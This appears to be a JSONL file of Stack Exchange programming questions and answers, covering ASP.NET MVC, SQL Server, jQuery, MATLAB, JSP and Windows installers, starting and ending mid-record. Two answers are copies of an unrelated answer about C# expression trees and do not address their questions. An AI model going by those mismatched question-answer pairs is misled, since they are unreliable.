verbs that are not included in the enumeration, the AcceptVerbsAttribute retains the constructor that accepts an array of strings as a parameter.  For example, the following snippet shows an action method that can respond to both POST and PUT requests.\n```\n```\n[AcceptVerbs(HttpVerbs.Post | HttpVerbs.Put)]  \npublic ActionResult Update() {...\n}\n```\n```\nModified the RadioButton helper method to ensure that every overload accepts a value. Because radio buttons are used to specify a choice from a set of possible values, specifying a value for a radio button is necessary.\nMade modifications and fixes to the default project template. This includes moving script files to a new Scripts folder. The default template uses the ModelState class to report validation errors.\nChanged action-method selection. If two action methods match a request, but only one of those has an attribute that derives from ActionMethodSelectorAttribute that matches the request, that action is invoked. In earlier releases, this scenario resulted in an exception. \nFor example, the following two action methods are in the same controller:\n```\n```\npublic ActionResult Edit() {  \n  //...  \n}  \n\n[AcceptVerbs(HttpVerbs.Post)]  \npublic ActionResult Edit(FormCollection form) {  \n  //...\n}\n```\n```\nIn Preview 5, a POST request for the Edit action would cause an exception, because two methods match the request. In the Beta, precedence is given to the method that matches the current request via the AcceptVerb attribute. In this example, the first method will handle any non-POST requests for the Edit action.\nAdded an overload for the ViewDataDictionary.Eval method that accepts a format string.\nRemoved the ViewName property from the ViewContext class.\nAdded an IValueProvider interface for value providers, along with a default implementation, DefaultValueProvider. Value providers supply values that are used by the model binders when binding to a model object. The UpdateModel method of the Controller class has been updated to allow you to specify a custom value provider.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.464996"}
{"id": "hf_a2cecc7ebfaa", "question": "<p>I came across the function <a href=\"http://msdn.microsoft.com/en-us/library/ms683590(VS.85).aspx\" rel=\"noreferrer\" title=\"MSDN Link\">InterlockedExchange</a> and was wondering when I should use this function. In my opinion, setting a 32 Bit value on an x86 processor should always be atomic? <br/>\nIn the case where I want to use the function, the new value does not depend on the old value (it is not an increment operation).\nCould you provide an example where this method is mandatory (I'm not looking for InterlockedCompareExchange)</p>\n", "question_body": "", "answer": "```\nInterlockedExchange\n```\nis both a write\nand\na read -- it returns the previous value.\nThis is necessary to ensure another thread didn't write a different value just after you did.  For example, say you're trying to increment a variable.  You can read the value, add 1, then set the new value with\n```\nInterlockedExchange\n```\n.  The value returned by\n```\nInterlockedExchange\n```\nmust match the value you originally read, otherwise another thread probably incremented it at the same time, and you need to loop around and try again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.538759"}
{"id": "hf_3cf6c68dac6a", "question": "<p>Does anyone know how I can retrieve the previous JSP URL that a page has come from within a JSP?</p>\n\n<p>Can I retrieve this from the session/ request/ response object?</p>\n\n<p>Hope this makes sense, Thank you </p>\n", "question_body": "", "answer": "(assuming Struts 1)\nWell in the struts-config.xml there is a input parameter in the action element (in the action-mappings section)\nSo in your action (java class) you can access this value like this :\n```\npublic ActionForward action(ActionMapping mapping, ActionForm form,\n            HttpServletRequest request, HttpServletResponse response) {\n     //do some stuff\n     return mapping.getInputForward(); //return to the caller\n  }\n```\nso if you want an action to return to its originating page, you can define \nmultiple action entry pointing to the same action but with a different name and input value.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.586704"}
{"id": "hf_1e0b207c4ac0", "question": "<p>As most of you probably noticed, when uninstalling an MSI package Windows will ask for the original <code>.msi</code> file. Why is that?</p>\n\n<p>I can only see disadvantages to that:</p>\n\n<ul>\n<li>not resilient to network changes.</li>\n<li>not resilient to local disk changes.</li>\n<li>unexpected by users.</li>\n<li>typically requires users to leave their desk and start a crusade to get the correct CD.</li>\n<li>kind of proves installations are not self-contained.</li>\n<li>promotes the use of unsafe tools such as msizap.</li>\n<li>which in turn promotes the \"next time I'll just use a zip file\" mentality.</li>\n</ul>\n\n<p>Could someone shed some light on this?</p>\n", "question_body": "", "answer": "There are a few reasons for keeping the original msi:\nThe uninstaller uses it to know what files and registry keys were installed and make sure they are all cleaned up.\nThe msi may contain special uninstall actions that need to be performed.\nIt allows you do to a 'repair' operation from the Add/Remove Programs menu, regardless of whether or not you saved the install file yourself.\nThe normal way of things is for Windows to keep the file cached for you, so you don't have to think about it.  See your\n```\n%WINDIR%\\Installer\\\n```\nfolder.  The only reason it would ask your for the original msi is if something is wrong with the saved file.  This addresses most of your concerns, though it does raise a new one (disk-space).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.622209"}
{"id": "hf_04dc9e17e647", "question": "<p>Currently, I'm using:</p>\n\n<pre><code>DataTable dt = CreateDataTableInSomeWay();\n\nList&lt;DataRow&gt; list = new List&lt;DataRow&gt;(); \nforeach (DataRow dr in dt.Rows)\n{\n    list.Add(dr);\n}\n</code></pre>\n\n<p>Is there a better/magic way?</p>\n", "question_body": "", "answer": "You could use\n```\n```\nList<DataRow> list = new List<DataRow>(dt.Select());\n```\n```\n```\ndt.Select()\n```\nwill return all rows in your table, as an array of datarows, and the\n```\nList\n```\nconstructor accepts that array of objects as an argument to initially fill your list with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.646662"}
{"id": "hf_c16284bbc0d0", "question": "<p>The back button just causes my page to refresh. Is there a way around this without disabling the cache?</p>\n", "question_body": "", "answer": "Try adding this to your HTML header:\n```\n```\n<META HTTP-EQUIV=\"CACHE-CONTROL\" CONTENT=\"NO-CACHE\">\n<META HTTP-EQUIV=\"PRAGMA\" CONTENT=\"NO-CACHE\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.683485"}
{"id": "hf_0eabff3c4213", "question": "<p>I have a class which is marked with a custom attribute, like this:</p>\n\n<pre><code>public class OrderLine : Entity\n{\n    ...\n    [Parent]\n    public Order Order { get; set; }\n    public Address ShippingAddress{ get; set; }\n    ...\n}\n</code></pre>\n\n<p>I want to write a generic method, where I need to get the Property on a Entity which is marked with the  Parent attribute.</p>\n\n<p>Here is my Attribute:</p>\n\n<pre><code>[AttributeUsage(AttributeTargets.Property, AllowMultiple = false, Inherited = false)]\npublic class ParentAttribute : Attribute\n{\n}\n</code></pre>\n\n<p>How do I write this?</p>\n", "question_body": "", "answer": "This works for me:\n```\n```\npublic static object GetParentValue<T>(T obj) {\n    Type t = obj.GetType();\n    foreach (var prop in t.GetProperties()) {\n        var attrs = prop.GetCustomAttributes(typeof(ParentAttribute), false);\n        if (attrs.Length != 0)\n            return prop.GetValue(obj, null);\n    }\n\n    return null;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.720023"}
{"id": "hf_720c23bd60f6", "question": "<p>I was wondering peoples opinions on the naming of ID columns in database tables.</p>\n\n<p>If I have a table called Invoices with a primary key of an identity column I would call that column InvoiceID so that I would not conflict with other tables and it's obvious what it is.</p>\n\n<p>Where I am workind current they have called all ID columns ID.</p>\n\n<p>So they would do the following:</p>\n\n<pre><code>Select  \n    i.ID \n,   il.ID \nFrom\n    Invoices i\n    Left Join InvoiceLines il\n        on i.ID = il.InvoiceID\n</code></pre>\n\n<p>Now, I see a few problems here:<br>\n1. You would need to alias the columns on the select<br>\n2. ID = InvoiceID does not fit in my brain<br>\n3. If you did not alias the tables and referred to InvoiceID is it obvious what table it is on?</p>\n\n<p>What are other peoples thoughts on the topic?</p>\n", "question_body": "", "answer": "We use\n```\nInvoiceID\n```\n, not\n```\nID\n```\n.  It makes queries more readable -- when you see\n```\nID\n```\nalone it could mean anything, especially when you alias the table to\n```\ni\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.755880"}
{"id": "hf_c44da1965200", "question": "<p>I have successfully been able to rename a table and drop all constraints on that table with foreign key relationships and build they all back up. However, now I am at a point where the PK_tblFoo exists in more than one place (when I transfer the table to another DB). Renaming the table does not rename the primary key.</p>\n\n<p>How would I cascade rename the primary key? I have renamed the table, I just need to get this portion figured out.</p>\n", "question_body": "", "answer": "I believe I will need to this manually, drop all FK constraints, run this guy:\n```\n```\nIF EXISTS ( SELECT  *\n        FROM    sys.indexes\n        WHERE   object_id = OBJECT_ID(N'[dbo].[tblFoo]')\n                AND name = N'PK_tblBusinessListings' ) \nALTER TABLE [dbo].[tblFoo] DROP CONSTRAINT [PK_tblBusinessListings]\nGO\nALTER TABLE [dbo].[tblFoo]\nADD CONSTRAINT [PK_tblFoo_1] PRIMARY KEY CLUSTERED ( [ListingID] ASC )\n    WITH ( PAD_INDEX = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF,\n           ONLINE = OFF ) ON [PRIMARY]\n```\n```\nThen go through and set up all the FK constraint with the new PK name....errrgh....this is going to take a while.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.792864"}
{"id": "hf_fd59b16847dc", "question": "<p>I have a <a href=\"https://jqueryui.com/draggable/\" rel=\"nofollow noreferrer\"><code>draggable</code></a> with a custom <a href=\"http://api.jqueryui.com/draggable/#option-helper\" rel=\"nofollow noreferrer\"><code>helper</code></a>. Sometimes the helper is a clone and sometimes it is the original element. </p>\n\n<p>The problem is that when the helper is the original element and is <strong>not</strong> dropped on a valid droppable it gets removed. My solution looks like this so far:</p>\n\n<p>in my <code>on_dropped</code> callback I set <code>ui.helper.dropped_on_droppable</code> to <code>true</code>;</p>\n\n<p>In the <code>stop</code> callback of the draggable, I check for that variable and then ... what do I do? </p>\n\n<pre><code>$('.my_draggable').draggable({\n    stop   : function(e, ui) {\n        if (!ui.helper.dropped_on_droppable) {\n            /* what do I do here? */\n        }\n    },\n</code></pre>\n\n<p>Is this even the right approach?</p>\n", "question_body": "", "answer": "I might be missing something here, but is it not simply a case of adding\n```\n```\nrevert: \"invalid\"\n```\n```\nto the options of the draggable if the draggable is of an original element, not a clone?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.840973"}
{"id": "hf_bc368b438c3e", "question": "<p>I have a DTS package that is raising an error with a \"Copy SQL Server Objects\" task. The task is copying a table plus data from one SQL Server 2000 SP4 server to another (same version) and is giving the error: -</p>\n\n<p><em>Could not find CHECK constraint for 'dbo.MyTableName', although the table is flagged as having one.</em></p>\n\n<p>The source table has one check constraint defined that appears to cause the problem. After running the DTS package, the thing appears to work properly - the table, all constraints and data ARE created on the destination server? But the error above is raised causing subsequent steps not to run.</p>\n\n<p>Any idea why this error is raised ?</p>\n", "question_body": "", "answer": "This indicates that the metadata in the sys tables has gotten out of sync with your actual schema. If you aren't seeing any other signs of more generalized corruption, doing a rebuild of the table by copying it to another table (select * into newtable from oldtable), dropping the old table and then renaming the new one and replacing the constraints will help. This is similar to how the Enterprise manager for 2000 does things when you insert a column that isn't at the end of the table, so inserting a new column in the middle of the table and then removing will achieve the same thing if you don't want to manually write the queries.\nI would be somewhat concerned by the state of the database as a whole if you see other occurrences of this kind of error. (I'm assuming here that you have already done CHECKDB commands and that the error is persisting...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.984526"}
{"id": "hf_bc1e2ea6e96b", "question": "<p>I've begun to the the built-in TraceSource and TraceListener classes and I would like to modify the output format of the events independently of the TraceSources and TraceListeners.  It seems that the TraceListeners apply their own formatting.  Is it possible to completely change the formatting without creating a new class for each and every TraceListener I use?</p>\n", "question_body": "", "answer": "You can use the direct\n```\nWrite()\n```\nor\n```\nWriteLine()\n```\nmethods on\n```\nTrace\n```\nto put straight text into your TraceListener.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.021340"}
{"id": "hf_9cc3d6d2251d", "question": "<p>How can I strip out extra whitespace from jsp pages' output?  Is there a switch I can flip on my web.xml?  Is there a Tomcat specific setting?</p>\n", "question_body": "", "answer": "There is a trimWhiteSpaces directive that should accomplish this,\nIn your JSP:\n```\n```\n<%@ page trimDirectiveWhitespaces=\"true\" %>\n```\n```\nOr in the jsp-config section your web.xml (Note that this works starting from servlet specification 2.5.):\n```\n```\n<jsp-config>\n  <jsp-property-group>\n    <url-pattern>*.jsp</url-pattern>\n    <trim-directive-whitespaces>true</trim-directive-whitespaces>\n  </jsp-property-group>\n</jsp-config>\n```\n```\nUnfortunately if you have a required space it might also need strip that, so you may need a non-breaking space in some locations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.045400"}
{"id": "hf_9d91a10599cc", "question": "<p>What is the return value of the <code>WaitForObject()</code> function?</p>\n<p>I do not mean the type of return value (int).</p>\n<p>What does it return if the event is signalled and what does it return if the event is not signalled?</p>\n", "question_body": "", "answer": "There is no\n```\nWaitForObject\n```\nfunction. I assume that you mean either\n```\nWaitForSingleObject\n```\nor\n```\nWaitForMultipleObjects\n```\n.\n```\nWaitForSingleObject\n```\nwill return\n```\nWAIT_TIMEOUT\n```\n,\n```\nWAIT_OBJECT_0\n```\nor\n```\nWAIT_ERROR\n```\n.\n```\nWaitForMultipleObjects\n```\nwill return\n```\nWAIT_TIMEOUT\n```\n,\n```\nWAIT_OBJECT_0 + n\n```\n(where n is the index to the object in the array) or\n```\nWAIT_ERROR\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.079684"}
{"id": "hf_0ed335e55ba1", "question": "<p>has anybody managed to get Djangos <a href=\"http://docs.djangoproject.com/en/dev/ref/contrib/sitemaps/\" rel=\"nofollow noreferrer\">site map framework</a> to run on Google App Engine?</p>\n\n<p>I receive the following exception:</p>\n\n<p>ImproperlyConfigured at /sitemap.xml</p>\n\n<p>You haven't set the DATABASE_ENGINE setting yet.</p>\n\n<p>Request Method: GET\nRequest URL: <a href=\"http://127.0.0.1:8080/sitemap.xml\" rel=\"nofollow noreferrer\">http://127.0.0.1:8080/sitemap.xml</a> \nException Type: ImproperlyConfigured \nException Value: You haven't set the DATABASE_ENGINE setting yet. \nException Location: D:\\Program Files\\Google\\google_appengine\\lib\\django\\django\\db\\backends\\dummy\\base.py in complain, line 13 </p>\n", "question_body": "", "answer": "I'm not familiar with GAE, but I may have a solution to your problem. Check out the Sitemap Framework docs @\nhttp://docs.djangoproject.com/en/dev/ref/contrib/sitemaps/\nLook at both the\nSimple Example\nand the\nExample\n. The sitemap code takes a dict of name:SiteMap. Any valid Sitemap object will work. The minimum for a Sitemap class is to  define items(), which returns a list of objects that came from\nsomewhere\n.\nWe have a StaticSitemap class which just reads a list of URLs from a file and returns that, plus it has a location(item) method that just returns the item (since it's a simple path).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.143312"}
{"id": "hf_a5e50757040f", "question": "<p>We are working with some legacy code that accesses a shared drive by the letter (f:\\ for example). Using the UNC notation is not an option.  Our Java wrapper app will run as a service, and as the first step, I would like to map the drive explicitly in the code. Has anyone done this?</p>\n", "question_body": "", "answer": "I think the easiest way is to use the Runtime.getRuntime().exec() method and call the \"net use\" command.\nFor example:\n```\n```\ntry {\n        // Execute a command without arguments\n        String command = \"C:\\\\Windows\\\\system32\\\\net.exe use F: \\\\\\\\server\\\\share /user:user password\";\n        Process child = Runtime.getRuntime().exec(command);\n    } catch (IOException e) {\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.185159"}
{"id": "hf_121c72b53580", "question": "<p>So, I want to export all my contacts from Outlook as vcards. If I google that, I get a bunch of shareware programs, but I want something free that just works. </p>\n\n<p>If I'm to code it myself, I guess I should use the Microsoft.Office.Interop.Outlook assembly. Has anyone already code to convert ContactItems to vcards?</p>\n\n<p><strong>Edit:</strong> I solved it in a completely different way, see answer below, but I have marked dok1.myopenid.com's answer as accepted because it answers my original question. </p>\n", "question_body": "", "answer": "They sure make it hard to find, don't they? See if this helps.\nhttp://msdn.microsoft.com/en-us/library/aa579624(EXCHG.80).aspx\nThat includes: The following example uses the CDO Person object to obtain vCard information for a contact.\n```\n```\nDim oPerson As New CDO.Person\nDim strm As New ADODB.Stream\n\n' Assume strURL is a valid URL to a person contact item\noPerson.DataSource.Open strURL\n\n' You can set the ADO Stream object to the returned vCard stream\nSet strm = oPerson.GetvCardStream\n\n' Save the stream to a file.\n' Note: using adSaveCreateOverwrite may cause an existing\n' contact to be overwritten.\nstrm.SaveToFile \"d:\\vcard.txt\", adSaveCreateOverwrite\n\n' You don't have to set a Stream object,\n' just use the Stream methods off GetvCardStream directly\noPerson.GetvCardStream.SaveToFile \"d:\\vcard.txt\", adSaveCreateOverwrite\n```\n```\nYep, the only code sample there is in VB.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.257772"}
{"id": "hf_d9a60beb49e8", "question": "<p>Normally when using VMWare Server 1.0.7 you are asked if you would like to connect to the local machine or a remote host.  Installing the same software on 64-bit Windows 2008 only gives the remote host option.</p>\n\n<p>I have tried entering the local machine name as the host and entering creds that have admin rights to the server but I just get a \"Cannot connect as the target machine actively rejected it\" error.  I have tried to find a solution on Google, but with no joy.</p>\n\n<p>Anyone run into this before and can point me in the right direction?</p>\n", "question_body": "", "answer": "It would seem the drivers for VMWare Server 1.0.7 are unsigned and 64-bit windows refuses to load them.  Prior to security update KB932596 you could disable this check, but they have now stopped this.\nI have previously tried VMWare Server 2, but have not found it that stable.\nRunning out of ideas......", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.281790"}
{"id": "hf_ddb210958c6c", "question": "<p>I am searching for \"o\" then prints all lines with \"o\". Any suggestion/code I must apply?</p>\n\n<p>data.txt:</p>\n\n<pre><code>j,o,b:\na,b,d:\no,l,e:\nf,a,r:\ne,x,o:\n</code></pre>\n\n<p>desired output:</p>\n\n<pre><code>j,o,b:\no,l,e:\ne,x,o:\n</code></pre>\n", "question_body": "", "answer": "```\n```\ngrep \"o\" data.txt\n```\n```\nDoes that help? I don't know Perl, but you can get the same output using the above grep.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.322576"}
{"id": "hf_29fe58f623d9", "question": "<p>Is it possible to encode an assignment into an expression tree?</p>\n", "question_body": "", "answer": "No, I don't believe so.\nCertainly the C# compiler disallows it when converting a lambda expression:\n```\n```\nint x;\nExpression<Func<int,int>> foo = (x=y); // Assign to x and return value\n```\n```\nThis yields the error:\n```\n```\nCS0832: An expression tree may not contain an assignment operator\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.378255"}
{"id": "hf_4e00142527f8", "question": "<p>When I launch CruiseControl.NET with a particular configuration file I receive the following error:</p>\n\n<blockquote>\n  <p>ThoughtWorks.CruiseControl.Core.Config.ConfigurationException: Duplicate node detected</p>\n</blockquote>\n\n<p>What does this mean, and what causes it?</p>\n", "question_body": "", "answer": "No, I don't believe so.\nCertainly the C# compiler disallows it when converting a lambda expression:\n```\n```\nint x;\nExpression<Func<int,int>> foo = (x=y); // Assign to x and return value\n```\n```\nThis yields the error:\n```\n```\nCS0832: An expression tree may not contain an assignment operator\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.402151"}
{"id": "hf_8a3a4fff0b99", "question": "<p>I'm trying to write an audio analysis application, and I need to identify local maxima in a 2D array which represents a spectrogram. I've already got an open source library that can generate the spectrogram using Fast Fourier Transforms, but I was wondering if anybody knew of any good libraries to help me with actually finding the maxima? I'm not quite sure what to search Google for - the best I could think of was \"numerical library\" but that hasn't got me very far.</p>\n\n<p>Preferably in C, but I'm open to other suggestions.</p>\n", "question_body": "", "answer": "No, I don't believe so.\nCertainly the C# compiler disallows it when converting a lambda expression:\n```\n```\nint x;\nExpression<Func<int,int>> foo = (x=y); // Assign to x and return value\n```\n```\nThis yields the error:\n```\n```\nCS0832: An expression tree may not contain an assignment operator\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.429765"}
{"id": "hf_3942f6d1d962", "question": "<pre><code>something.each do |x|\n\n  #lots of stuff\n\nend if some_condition\n</code></pre>\n", "question_body": "", "answer": "I'd personally advocate against that for the pure and simple reason that it is too easy to miss. Even with that shortened version it took me a double-take to realise you had the\n```\n```\nif some_condition\n```\n```\nat the end", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.505266"}
{"id": "hf_915aaf5223f2", "question": "<p>I am trying to create a MATLAB class with a member variable that's being updated as a result of a method invocation, but when I try to change the property within the class it (apperently, from what I understood from MATLAB's memory management) creates a copy of the object and then modifies it, leaving the original object's property untouched.</p>\n\n<pre><code>classdef testprop  \n    properties  \n        numRequests=0;  \n    end  \n    methods  \n        function Request(this, val)  \n            disp(val);  \n            this.numRequests=this.numRequests+1;  \n        end  \n    end  \nend  \n</code></pre>\n\n<p>.</p>\n\n<pre><code>&gt;&gt; a=testprop;\n&gt;&gt; a.Request(9);\n&gt;&gt; a.Request(5);  \n&gt;&gt; a.numRequests  \n\nans = 0  \n</code></pre>\n", "question_body": "", "answer": "Using a Value (Vanilla) Class\nWhen using a value class you need to tell Matlab to store a modified copy of the object to save the changes in the property value.  So,\n```\n```\n>> a=testprop\n>> a.Request(5); % will NOT change the value of a.numRequests.\n5\n\n>> a.Request(5) \n5\n\n>> a.numRequests\nans = \n       0\n\n>> a=a.Request; % However, this will work but as you it makes a copy of variable, a.\n5\n\n>> a=a.Request; \n5\n\n>> a.numRequests\nans =\n       2\n```\n```\nAs\nKamran\nnotes, this requires changing the definition of function\n```\nRequest\n```\nto be\n```\n```\nfunction this = Request(this, val)`\n```\n```\nUsing a Handle Class\nIf you inherit from the handle class, that is\n```\n```\nclassdef testprop < handle\n```\n```\nthen you can write,\n```\n```\n>> a.Request(5);\n>> a.Request(5);\n>> a.numRequests\nans = \n       2\n```\n```\nNote that this changes the behavior of the objects, see\nthe documentation\nto learn the difference between a value class and a handle class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.535349"}
{"id": "hf_cd1c2b9f5938", "question": "<p>A few years ago I have worked on a green field project where we did Extreme Programming. I also see a lot of people mention the Scrum methodology.</p>\n\n<p>Could someone tell me the main differences between Scrum and XP?</p>\n", "question_body": "", "answer": "Scrum is a software development methodology, XP is a programming practice. Both are \"agile\" techniques and are often used together.\nScrum outlines a process for identifying and cataloging work that needs to be done, prioritizing that work by communicating with the customer or customer representative, and implementing that work using iterative releases.\nWhen my team first started experimenting with Scrum I found the\nImplementing Scrum\nwebsite to be helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.559868"}
{"id": "hf_fffd88df010b", "question": "<p>I have an <code>input type=\"image\"</code>. This acts like the cell notes in Microsoft Excel. If someone enters a number into the text box that this <code>input-image</code> is paired with, I setup an event handler for the <code>input-image</code>. Then when the user clicks the <code>image</code>, they get a little popup to add some notes to the data.</p>\n\n<p>My problem is that when a user enters a zero into the text box, I need to disable the <code>input-image</code>'s event handler. I have tried the following, but to no avail.</p>\n\n<pre><code>$('#myimage').click(function { return false; });\n</code></pre>\n", "question_body": "", "answer": "maybe the unbind method will work for you\n```\n```\n$(\"#myimage\").unbind(\"click\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.618433"}
{"id": "hf_e7bacc9d85a8", "question": "<p>I am used to using Atlas. Recently i have started transitioning to jQuery and sometimes prototype. The project that i'm currently working on is using prototype.</p>\n\n<p>In Prototype, is there an easy way to get the browser name and version? I've looked over the API documentation and can't seem to find it.</p>\n", "question_body": "", "answer": "You're right - prototype doesn't provide a utility for ascertaining the browser name or version.\nIf you\nspecifically\nneed to get the browser info as a plugin, I would suggest adding the following (taken from directly jQuery):\n```\n```\nvar Browser = Class.create({\n  initialize: function() {\n    var userAgent = navigator.userAgent.toLowerCase();\n    this.version = (userAgent.match( /.+(?:rv|it|ra|ie)[\\/: ]([\\d.]+)/ ) || [])[1];\n    this.webkit = /webkit/.test( userAgent );\n    this.opera = /opera/.test( userAgent );\n    this.msie = /msie/.test( userAgent ) && !/opera/.test( userAgent );\n    this.mozilla = /mozilla/.test( userAgent ) && !/(compatible|webkit)/.test( userAgent );\n  }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.641242"}
{"id": "hf_b85ee5e90dc6", "question": "<p>Since Access 2003 doesn't have the control anchoring functionality as exists in 2007, I was wondering if anyone has or is aware of some VBA script, or a freeware control, that can give this functionality?</p>\n", "question_body": "", "answer": "I know of no exact duplication of the 2007 functionality in 2003. There are multiple components for resolution independence (resizing the controls on a form based on the users monitor resolution) and for resizing with the form resize event (such as\nhttp://www.fmsinc.com/products/components/ControlTour/resize.htm\n). None that I'm aware of quite replicate the 2007 experience, but a similar question (and code to handle it) can be found here:\nhttp://www.experts-exchange.com/Microsoft/Development/MS_Access/Q_23662850.html\nPersonally, I just handled the resize event myself. The easiest way is to do so is to create the form in the minimum size you wish to support, and then record the base positions and widths (either in a table or as form scoped constants). From there you can resize using:\n```\n```\nresizeRatio = currentFormWidth / baseFormWidth\n\ncontrol.left = baseLeft * resizeRatio\ncontrol.width = baseWidth * resizeRatio\n```\n```\nThe advantage to doing this yourself is that over time you evolve it, with things such as keeping the labels on the left side the same width but expanding the fields to the right (this is done by not resizing the labels at all, and subtracting the end of the labels area off from the width of the form before applying the position and width changes, such 